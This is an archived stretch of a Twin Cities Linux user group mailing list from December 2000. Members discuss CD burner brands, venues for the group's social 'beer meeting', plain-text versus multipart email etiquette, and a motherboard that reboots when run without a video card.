From drew at usfamily.net Sun Dec 31 09:26:20 2000 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:08:27 2005 Subject: [TCLUG] Re: [TCLUG:20885] CD BURNERS References: Message-ID: <3A4F501C.E91BD90D@usfamily.net> YAMAHA!!!!! they have an nice large buffer so you will never have buffer underrun problems when copying those music CDs. Jon Schewe wrote: > Plextor has always been a good brand. I've got the PlexWriter RW 4/2/20 and > it works great. When it came time for firware upgrade on it they had a way to > do it through Linux too. Oh and don't consider anything except SCSI if you > want to make sure it works in a multi-tasking environment. > > "Matthew LaBerge" writes: > > > I'm looking to get a new burner and would like some suggestions as to what > > brand is the best or most reliable, my old 2x isn't performing as well as I > > would like so it's about time to get a new one. Any help is appreciated. > > > > ______________________ > > > > Matthew LaBerge > > labmat@earthlink.net > > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > > For additional commands, e-mail: tclug-list-help@mn-linux.org > > -- > Jon Schewe | http://eggplant.mtu.net/~jpschewe > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > > --------------------------------------------------------------------- > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > For additional commands, e-mail: tclug-list-help@mn-linux.org ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ --------------------------------------------------------------------- To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org For additional commands, e-mail: tclug-list-help@mn-linux.org From mjn at umn.edu Fri Dec 1 09:18:39 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:12:48 2005 Subject: [TCLUG] Beer Meeting .. In-Reply-To: <3A272D61.2FE704CC@tc.umn.edu> Message-ID: > I was thinking to come to this meeting, meet some of you folks and enjoy > some fine brewery. it took me 40 minutes to find the place (given I went > to St paul 4/5 times in last 4/5 years) and my 7 week old kid had > already started her alarm, and I gave up after I failed to find parking > in closest three blocks. I will hopefully be able to make it next time > and meet the fine people of the lug. (I will take bus of course!) I was equally mired last evening. i realized at 5:30 that i had forgotten all about paying rent for the month. After getting that taken care of, the Vikes game had already started (sic) and I just had to watch it. I do look forward to the next Beet (beer meet)... ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From kethry at winternet.com Fri Dec 1 09:23:06 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:12:49 2005 Subject: [TCLUG] Beer Meeting .. In-Reply-To: Message-ID: Would have loved to go myself, but my java class is Thursday nights -- hopefully next semester. :) It doesn't appear that I'll be taking any more Thursday night classes :) Although the location would have been perfect - I waved at Billy's as I drove home *chuckle* Liz On Fri, 1 Dec 2000, mjn wrote: > > I was thinking to come to this meeting, meet some of you folks and enjoy > > some fine brewery. it took me 40 minutes to find the place (given I went > > to St paul 4/5 times in last 4/5 years) and my 7 week old kid had > > already started her alarm, and I gave up after I failed to find parking > > in closest three blocks. I will hopefully be able to make it next time > > and meet the fine people of the lug. (I will take bus of course!) > > I was equally mired last evening. i realized at 5:30 that i had forgotten > all about paying rent for the month. After getting that taken care of, > the Vikes game had already started (sic) and I just had to watch it. > > I do look forward to the next Beet (beer meet)... > > ____________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > http://nifty.dsl.visi.com/ > ____________________________ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From b.layer at vikingelectronics.com Fri Dec 1 10:10:37 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:12:49 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: References: Message-ID: <00120110103702.00346@Billbob_Linux> The subject says it all - you know who you are ;) I enjoyed it (again) quite a bit, and those present will report that I was only a little out of hand. Thanks for coming. -- Bill Layer Sales Technician From jacque at fruitioninc.com Fri Dec 1 10:25:38 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] Beer Meeting .. References: Message-ID: <3A27D102.4B9A286A@fruitioninc.com> TCLUG Beeting? hmm. Sounds a little like hazing ;o) I'm not sure if we're going to meet at Billy's again, its really difficult to park around there and the bar/ waitstaff isn't that organized - as far as groups are concerned - and its so huge in there, its possible to get lost. But despite all that, I had a really good time. Thanks to all that came! I'm excited to meet some more new faces in a couple of weeks! Also, I'm still taking suggestions for places to meet in the metro. Email me privately. Jacque > I do look forward to the next Beet (beer meet)... From cbidler at talkware.net Fri Dec 1 10:32:41 2000 From: cbidler at talkware.net (Chris Bidler) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] Beer Meeting .. References: <3A267BC1.E1198AAF@fruitioninc.com> <3A272D61.2FE704CC@tc.umn.edu> Message-ID: <3A27D2A9.5070800@talkware.net> Apu wrote: > I was thinking to come to this meeting, meet some of you folks and enjoy > some fine brewery. it took me 40 minutes to find the place (given I went > to St paul 4/5 times in last 4/5 years) and my 7 week old kid had > already started her alarm, and I gave up after I failed to find parking > in closest three blocks. I will hopefully be able to make it next time > and meet the fine people of the lug. (I will take bus of course!) > > Apu > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list I also seemingly missed everybody, which really sux0rs for me because that place is about 5 blocks from my house! :( Oh well, I'll have to try to make it to the next one earlier. -- <----------------------------------------------------------------------> Chris H. Bidler cbidler@talkware.net Associate Engineer, Applications Group Universal Talkware Corp. "In any event, is a O^(log N) search that returns the wrong answer really better than an O^N search that returns the right answer?" <----------------------------------------------------------------------> From natecars at real-time.com Fri Dec 1 10:32:37 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <00120110103702.00346@Billbob_Linux> Message-ID: On Fri, 1 Dec 2000, Bill Layer wrote: > The subject says it all - you know who you are ;) > > I enjoyed it (again) quite a bit, and those present will report that I was > only a little out of hand. Thanks for coming. What about those of us (me) who can't legally drink?? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jasonj at innominatus.com Fri Dec 1 10:48:03 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: Message-ID: <3A27D643.2090501@innominatus.com> Nate Carlson wrote: > On Fri, 1 Dec 2000, Bill Layer wrote: > >> The subject says it all - you know who you are ;) >> >> I enjoyed it (again) quite a bit, and those present will report that I was >> only a little out of hand. Thanks for coming. > > > What about those of us (me) who can't legally drink?? :) What about those of us (maybe 'just' me) who CAN legally drink, but choose not to?? :P > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/a004e421/attachment.htm From mjn at umn.edu Fri Dec 1 10:41:40 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] Beer Meeting .. In-Reply-To: <3A27D102.4B9A286A@fruitioninc.com> Message-ID: > Also, I'm still taking suggestions for places to meet in the metro. Email me > privately. Grumpy's on Washington! They have parking in the back of the joint and a Buffalo Chicken Sammich that's to die for! ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From andy at theasis.com Fri Dec 1 10:43:14 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <3A27D643.2090501@innominatus.com> Message-ID: > > What about those of us (me) who can't legally drink?? :) > > > What about those of us (maybe 'just' me) who CAN legally drink, but > choose not to?? :P Come hang out with me at a good coffee shop. Andy From kethry at winternet.com Fri Dec 1 10:51:09 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: Message-ID: Or tea even? There's a wonderful tea house in St. Paul on Ford Parkway...:) On Fri, 1 Dec 2000 andy@theasis.com wrote: > > > What about those of us (me) who can't legally drink?? :) > > > > > > What about those of us (maybe 'just' me) who CAN legally drink, but > > choose not to?? :P > > Come hang out with me at a good coffee shop. > > Andy > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From barnabas at knicknack.net Fri Dec 1 10:51:11 2000 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: ; from andy@theasis.com on Fri, Dec 01, 2000 at 10:43:14AM -0600 References: <3A27D643.2090501@innominatus.com> Message-ID: <20001201105111.A10501@knicknack.net> It's not just you. Eric On Fri, Dec 01, 2000 at 10:43:14AM -0600, andy@theasis.com wrote: > > > What about those of us (me) who can't legally drink?? :) > > > > > > What about those of us (maybe 'just' me) who CAN legally drink, but > > choose not to?? :P > > Come hang out with me at a good coffee shop. > > Andy > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Fri Dec 1 11:03:42 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] Beer Meeting .. In-Reply-To: References: Message-ID: <00120111034208.00346@Billbob_Linux> Heh, > Grumpy's on Washington! They have parking in the back of the joint and > a Buffalo Chicken Sammich that's to die for! And that hillarious radio & tv commercial with the voiceover done by the Macintosh Speech Control Panel... "Fred" I think. -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 From jasonj at innominatus.com Fri Dec 1 11:14:47 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:12:50 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> Message-ID: <3A27DC87.2020801@innominatus.com> "Come hang out with me at a good coffee shop." ... whom also doesn't consume caffine?? :( (thats right... a computer geek that doesnt take any caffine or alcohol [or meat or dairy]!! yes, yes, i'm insane) Eric Stanley wrote: > It's not just you. > > Eric > > On Fri, Dec 01, 2000 at 10:43:14AM -0600, andy@theasis.com wrote: > >>>> What about those of us (me) who can't legally drink?? :) >>> >>> >>> What about those of us (maybe 'just' me) who CAN legally drink, but >>> choose not to?? :P >> >> Come hang out with me at a good coffee shop. >> >> Andy >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -------------- next part -------------- An HTML attachment was scrubbed... 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There's a wonderful tea house in St. Paul on Ford >Parkway...:) I'd recommend "Nina's" on selby and western in St. Paul > >On Fri, 1 Dec 2000 andy@theasis.com wrote: > >> > > What about those of us (me) who can't legally drink?? :) >> > >> > >> > What about those of us (maybe 'just' me) who CAN legally drink, but >> > choose not to?? :P >> >> Come hang out with me at a good coffee shop. >> >> Andy >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> > >-- >Imagination is intelligence having fun... >e-mail: kethry@winternet.com >URL: http://WWW.winternet.com/~kethry/index.html > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/41f24a39/attachment.pgp From andy at theasis.com Fri Dec 1 11:34:32 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <3A27DC87.2020801@innominatus.com> Message-ID: On Fri, 1 Dec 2000, Jason J wrote: > "Come hang out with me at a good coffee shop." > ... whom also doesn't consume caffine?? :( Not all drinks at a coffee shop are caffeinitated. Moreover, while there are lots of kinds of both bars and coffee shops, I'd argue that the general atmosphere is different between bars & coffee shops. Besides, I'm only advocating it once in a while, as a different scene. Andy > (thats right... a computer geek that doesnt take any caffine or alcohol > [or meat or dairy]!! yes, yes, i'm insane) From blutgens at sistina.com Fri Dec 1 11:40:23 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <3A27DC87.2020801@innominatus.com>; from jasonj@innominatus.com on Fri, Dec 01, 2000 at 11:14:47AM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> Message-ID: <20001201114023.C46449@socrates.sistina.com> On Fri, Dec 01, 2000 at 11:14:47AM -0600, Jason J wrote: please post plain text messages to the list. Those multipart alternatives are just plain irritating to those oof us who use text based email readers -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/d818874f/attachment.pgp From b.layer at vikingelectronics.com Fri Dec 1 11:40:23 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <3A27DC87.2020801@innominatus.com> References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> Message-ID: <0012011140230B.00346@Billbob_Linux> On Friday 01 December 2000 11:14, you wrote: > > "Come hang out with me at a good coffee shop." > .... whom also doesn't consume caffine?? :( > > (thats right... a computer geek that doesnt take any caffine or alcohol > [or meat or dairy]!! yes, yes, i'm insane) Insane? I'm not sure that you are alive ;) Actually, I don't touch caffeine either - in my case, it's due to some health issues. The one thing that I simply can't tolerate. -- Bill Layer Sales Technician From andy at theasis.com Fri Dec 1 11:44:51 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: Message-ID: > Not all drinks at a coffee shop are caffeinitated. ^^^^^^^^^^^^^ Wow! you can tell that I haven't had my coffee yet today. Andy From esper at sherohman.org Fri Dec 1 11:49:29 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201114023.C46449@socrates.sistina.com>; from blutgens@sistina.com on Fri, Dec 01, 2000 at 11:40:23AM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> Message-ID: <20001201114928.E32169@sherohman.org> On Fri, Dec 01, 2000 at 11:40:23AM -0600, Ben Lutgens wrote: > Mime-Version: 1.0 > Content-Type: multipart/signed; micalg=pgp-md5; > protocol="application/pgp-signature"; boundary="UFHRwCdBEJvubb2X" ... > --UFHRwCdBEJvubb2X > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > Content-Transfer-Encoding: quoted-printable > > On Fri, Dec 01, 2000 at 11:14:47AM -0600, Jason J wrote: > please post plain text messages to the list. Those multipart alternatives are > just plain irritating to those oof us who use text based email readers Interesting... multipart/signed is plain text, but multipart/alternative isn't... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r++ y+ From jacque at fruitioninc.com Fri Dec 1 11:48:26 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> Message-ID: <3A27E46A.B209CF2F@fruitioninc.com> Well first off, I try to pick places that allow minors..at least for a limited time. I always make reservations for non-smoking. I try to pick places that have food, a decent beer/liquor selection, room for 10 - 15 people to sit together and have a conversation and that have parking or are easy to get to. At the first meeting there were 2-3 people who were underage there. No problems, I think we all still had an enjoyable time. Last night I didn't even have a drink...just soda. I know of three places that sell liquor and food that allows minors, has great coffee/ tea *and* vegan/vegetarian food. That would be Pizza Luce, Triple Rock and Jitters. Unfortunately, the Triple Rock is bad for groups, except in the summer, and Luce and Jitters are difficult to find and find parking. In addition, it makes all the meetings very Mpls-centric. The point of the "beer" meeting is that it travels, so that its pretty fair to everyone in the metro. ie: The TCLUG Beeting is coming your way soon! If you guys have suggestions or know of places like Jitters, Luce in the metro and the like..please let me know! ~jacque From austad at marketwatch.com Fri Dec 1 11:51:14 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. Message-ID: > I'd recommend "Nina's" on selby and western in St. Paul How about the Lowertown Bar and grill in Galtier plaza. It's big, and they have 2 pool tables, some video games, and the mother of all pinball machines, Williams Tales of the Arabian Knights, which I will hopefully own soon. Parking is free downtown after 4pm at meters, and there's a ramp there also. Plus, I can just walk downstairs to get there instead of driving somewhere. :) > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Friday, December 01, 2000 11:10 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] You are lame for not attending the beer meeting. > > > On Fri, Dec 01, 2000 at 10:51:09AM -0600, Liz Burke-Scovill wrote: > >Or tea even? There's a wonderful tea house in St. Paul on Ford > >Parkway...:) > > I'd recommend "Nina's" on selby and western in St. Paul > > > > >On Fri, 1 Dec 2000 andy@theasis.com wrote: > > > >> > > What about those of us (me) who can't legally drink?? :) > >> > > >> > > >> > What about those of us (maybe 'just' me) who CAN legally > drink, but > >> > choose not to?? :P > >> > >> Come hang out with me at a good coffee shop. > >> > >> Andy > >> > >> _______________________________________________ > >> tclug-list mailing list > >> tclug-list@lists.real-time.com > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > > > >-- > >Imagination is intelligence having fun... > >e-mail: kethry@winternet.com > >URL: http://WWW.winternet.com/~kethry/index.html > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From austad at marketwatch.com Fri Dec 1 11:56:53 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's Message-ID: So I'm building this machine which is supposed to run without a video card. I have 2 intel SE440BX2 PII400 MB's and chips. I boot the machine without the video card in it, it boots fine, I can log into it over the network, and then after being up for a few minutes it reboots. Sometimes it will reboot even before the POST is done, so I know it's not the OS that's causing it. Both boards do it, so I'm fairly sure it's not a problem with the hardware. Does anyone know anything about this? I'm going to upgrade the BIOS and see if that helps. I know the board will work without a video card, as many companies who make x86 based network appliances use this exact same board. Jay From jacque at fruitioninc.com Fri Dec 1 12:00:18 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: Message-ID: <3A27E732.DCD88854@fruitioninc.com> Oh man, Tales of the Arabian Knights is like the best pinball game EVER! They have that at the Triple Rock (at least it was still there last time I was there) and they used to have it at the Stardust bowling alley. ~j From cop7586 at hotmail.com Fri Dec 1 12:01:40 2000 From: cop7586 at hotmail.com (Chris Opp) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. Message-ID: I think Jacqueline has done a good job, and everbody should stop their bitching. Just make it when you can. Most importantly have fun....... Cut Jacqueline some slack here. Chris Opp >From: Jacqueline Urick >Reply-To: tclug-list@lists.real-time.com >To: tclug-list@lists.real-time.com >Subject: Re: [TCLUG] You are lame for not attending the beer meeting. >Date: Fri, 01 Dec 2000 11:48:26 -0600 > >Well first off, I try to pick places that allow minors..at least for a >limited time. I always make reservations for non-smoking. I try to pick >places that have food, a decent beer/liquor selection, room for 10 - 15 >people to sit together and have a conversation and that have parking or >are easy to get to. > >At the first meeting there were 2-3 people who were underage there. No >problems, I think we all still had an enjoyable time. Last night I >didn't even have a drink...just soda. I know of three places that sell >liquor and food that allows minors, has great coffee/ tea *and* >vegan/vegetarian food. That would be Pizza Luce, Triple Rock and >Jitters. Unfortunately, the Triple Rock is bad for groups, except in the >summer, and Luce and Jitters are difficult to find and find parking. In >addition, it makes all the meetings very Mpls-centric. The point of the >"beer" meeting is that it travels, so that its pretty fair to everyone >in the metro. > >ie: The TCLUG Beeting is coming your way soon! > >If you guys have suggestions or know of places like Jitters, Luce in the >metro and the like..please let me know! > > >~jacque > > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From blutgens at sistina.com Fri Dec 1 12:24:00 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201114928.E32169@sherohman.org>; from esper@sherohman.org on Fri, Dec 01, 2000 at 11:49:29AM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> <20001201114928.E32169@sherohman.org> Message-ID: <20001201122400.B46920@socrates.sistina.com> On Fri, Dec 01, 2000 at 11:49:29AM -0600, Dave Sherohman wrote: >On Fri, Dec 01, 2000 at 11:40:23AM -0600, Ben Lutgens wrote: > >Interesting... multipart/signed is plain text, but multipart/alternative >isn't... > The keyword there is alternative, in order to read the text I need to use another menu and explicitly "view" the attached text. My multipart doesn't make up the body because my mailer complies with the RFC standards for exchangine encrypted email. In fact the guy who wrote my mailer also wrote one of those RFCs. You do know what an RFC is don't you? It's a generally accepted (can't remeber rfc number) way to sign messages. and it doesn't make it impossible for people to read the mail easily. When you windows users send mail to a linux related list, and someone like me who uses mutt tries to read that mail, there is no proper "body" of the message. Hence we have to view the attachments. It's irritating, and I asked you nicely to please post in plain text to the list. I don't think that's too much to ask. It might take you a second or two to set the address for the list to "Send plain text only" in your address book. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/94100782/attachment.pgp From thouck at thouck.com Fri Dec 1 12:24:13 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] Pentium 4 & Linux ? In-Reply-To: <200012010036.SAA28872@mail.destef.com> Message-ID: Yes, I realize that. I was referring to other stores trying their hand at Internet services (i.e. Bluelight.com/KMart). Just wondering. Guess not. On Thu, 30 Nov 2000, Jason DeStefano wrote: > You do realize that SuperValu is a grocery store and that their > headquarters is here is Minnesota? They're not an email > service provider so your probably out of luck. hehe. > > At 11:49 PM 11/29/00 -0800, you wrote: > >Well yeah, but you know how some places give email accounts for free -- > >too many to name. Just wondering. > > > >Like usa.net, yahoo, hotmail, blah > > > >On Wed, 29 Nov 2000, Nate Carlson wrote: > > > >> On Wed, 29 Nov 2000, Timothy Houck wrote: > >> > What does a guy gotta do to get an e-mail account at > >> > supervalu.com? > >> > >> Work therE? :P > >> > >> -- > >> Nate Carlson | Phone : (952)943-8700 > >> http://www.real-time.com | Fax : (952)943-8500 > >> > >> > > > >--------------------------------------------------------------------- > >Timothy Houck > >thouck@thouck.com > >www.thouck.com > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From crumley at belka.space.umn.edu Fri Dec 1 12:24:24 2000 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:12:51 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201114928.E32169@sherohman.org>; from esper@sherohman.org on Fri, Dec 01, 2000 at 11:49:29AM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> <20001201114928.E32169@sherohman.org> Message-ID: <20001201122423.A18241@pchelka.space.umn.edu> On Fri, Dec 01, 2000 at 11:49:29AM -0600, Dave Sherohman wrote: > On Fri, Dec 01, 2000 at 11:40:23AM -0600, Ben Lutgens wrote: > > Mime-Version: 1.0 > > Content-Type: multipart/signed; micalg=pgp-md5; > > protocol="application/pgp-signature"; boundary="UFHRwCdBEJvubb2X" > ... > > --UFHRwCdBEJvubb2X > > Content-Type: text/plain; charset=us-ascii > > Content-Disposition: inline > > Content-Transfer-Encoding: quoted-printable > > > > On Fri, Dec 01, 2000 at 11:14:47AM -0600, Jason J wrote: > > please post plain text messages to the list. Those multipart alternatives are > > just plain irritating to those oof us who use text based email readers > > Interesting... multipart/signed is plain text, but multipart/alternative > isn't... > Yeah, and mutt has no problem with either of them . -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | From blutgens at sistina.com Fri Dec 1 12:26:44 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: ; from cop7586@hotmail.com on Fri, Dec 01, 2000 at 12:01:40PM -0600 References: Message-ID: <20001201122644.C46920@socrates.sistina.com> On Fri, Dec 01, 2000 at 12:01:40PM -0600, Chris Opp wrote: > >I think Jacqueline has done a good job, and everbody should stop their >bitching. Just make it when you can. Most importantly have fun....... Cut >Jacqueline some slack here. Yeah, I for one appreciate the kick in the pants to get away from my computers and actually socialize with carbon based life forms. Hell, one of these trips I might even meat a girl! Doubt it but hey, it could happen. > >Chris Opp > > > > > >>From: Jacqueline Urick >>Reply-To: tclug-list@lists.real-time.com >>To: tclug-list@lists.real-time.com >>Subject: Re: [TCLUG] You are lame for not attending the beer meeting. >>Date: Fri, 01 Dec 2000 11:48:26 -0600 >> >>Well first off, I try to pick places that allow minors..at least for a >>limited time. I always make reservations for non-smoking. I try to pick >>places that have food, a decent beer/liquor selection, room for 10 - 15 >>people to sit together and have a conversation and that have parking or >>are easy to get to. >> >>At the first meeting there were 2-3 people who were underage there. No >>problems, I think we all still had an enjoyable time. Last night I >>didn't even have a drink...just soda. I know of three places that sell >>liquor and food that allows minors, has great coffee/ tea *and* >>vegan/vegetarian food. That would be Pizza Luce, Triple Rock and >>Jitters. Unfortunately, the Triple Rock is bad for groups, except in the >>summer, and Luce and Jitters are difficult to find and find parking. In >>addition, it makes all the meetings very Mpls-centric. The point of the >>"beer" meeting is that it travels, so that its pretty fair to everyone >>in the metro. >> >>ie: The TCLUG Beeting is coming your way soon! >> >>If you guys have suggestions or know of places like Jitters, Luce in the >>metro and the like..please let me know! >> >> >>~jacque >> >> >>_______________________________________________ >>tclug-list mailing list >>tclug-list@lists.real-time.com >>https://mailman.real-time.com/mailman/listinfo/tclug-list > >_____________________________________________________________________________________ >Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : 